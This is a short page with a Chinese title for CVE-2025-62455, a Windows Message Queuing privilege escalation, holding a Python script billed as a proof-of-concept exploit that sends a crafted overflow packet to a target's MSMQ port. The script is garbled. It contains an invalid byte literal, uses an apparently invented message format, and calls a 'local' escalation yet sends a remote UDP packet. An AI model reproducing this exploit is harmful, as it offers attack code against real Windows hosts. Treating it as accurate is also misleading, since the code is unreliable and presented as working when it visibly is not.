CVE-2025-62455 Windows消息队列本地权限提升漏洞

# CVE-2025-62455 Windows Message Queuing Privilege Escalation PoC # Author: Security Researcher # Note: This is a conceptual PoC for educational purposes only import socket import struct import sys def create_malicious_msmq_message(): """Construct a malformed MSMQ message that triggers input validation vulnerability""" # MSMQ message header structure header = b'MSMQ' # Protocol signature header += struct.pack('<I', 0x00000001) # Version header += struct.pack('<I', 0x00000000) # Message type header += struct.pack('<Q', 0x00000000) # Message ID # Malicious payload designed to bypass input validation # This exploits improper validation in message processing payload = b'\x41' * 1000 # Overflow data payload += b'\x00' * 100 # Padding payload += b'\xEB\xP\x90\x90' # NOP sled + short jump (shellcode placeholder) payload += b'\xCC' * 50 # Int3 breakpoints for debugging # End of message marker footer = b'\x00' * 8 return header + payload + footer def send_exploit(target_ip, target_port=1801): """Send the exploit payload to MSMQ service""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) print(f"[*] Sending malicious MSMQ message to {target_ip}:{target_port}") exploit_payload = create_malicious_msmq_message() sock.sendto(exploit_payload, (target_ip, target_port)) print("[+] Exploit payload sent successfully") print("[*] Triggering privilege escalation via improper input validation") return True except Exception as e: print(f"[-] Error sending exploit: {str(e)}") return False finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-62455-poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)